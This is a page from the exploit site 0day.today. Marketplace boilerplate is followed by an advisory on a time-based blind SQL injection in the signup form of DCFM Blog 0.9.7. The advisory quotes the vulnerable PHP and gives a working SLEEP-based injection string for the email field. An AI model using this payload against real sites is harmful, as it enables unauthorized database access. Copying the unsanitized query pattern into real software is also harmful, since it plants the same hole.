0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
DCFM Blog 0.9.7 Blind SQL Injection Vulnerability
DCFM Blog Version 0.9.7 Blind SQL Injection Vulnerability ( time based-attack ) ================================================================================ Description ============ Open-source blog project. Free blog system for any website. Uses MySQL and PHP 5. Very easily customizable and incredibly flexible. https://sourceforge.net/projects/dcfm-blog/ Vulnerability ============== A blind SQL Injection is possible within the signup.php file of DCFM Blog version 0.9.7. $desuser = $_POST['desuser']; $despass = $_POST['despass']; $email = $_POST['email']; <---- The vulnerable variable $firstname = $_POST['firstname']; $lastname = $_POST['lastname']; $submitted = $_POST['submitted']; $despassconfirm = $_POST['despassconfirm']; The $email variable is not properly checked as the regex does not stop additional characters from being added once the variable matches a valid email format: if(!ereg("^.+@.+\\..+$",$email)) { $evil = 1; $error="<p> The highlighted fields are not filled out correctly. </p>"; the '.+' part of the regular expression will match "one or more of any character" . It is then possible to attached a crafted SQL Injection string to the end of the $email variable. The crafted string is fed directly into the MySql database: $result = mysql_query("SELECT * FROM accounts WHERE Email='$_POST[email]'"); while($row = mysql_fetch_array($result)) { if ($email == $row['Email']) Proof Of Concept Exploit String ================================ Fill out the whole form and input the email variable as follows: jimmy@site.com' AND (SELECT * FROM (SELECT(SLEEP(5)))MXKf) AND 'dBWQ'='dBWQ # 0day.today [2024-11-15] #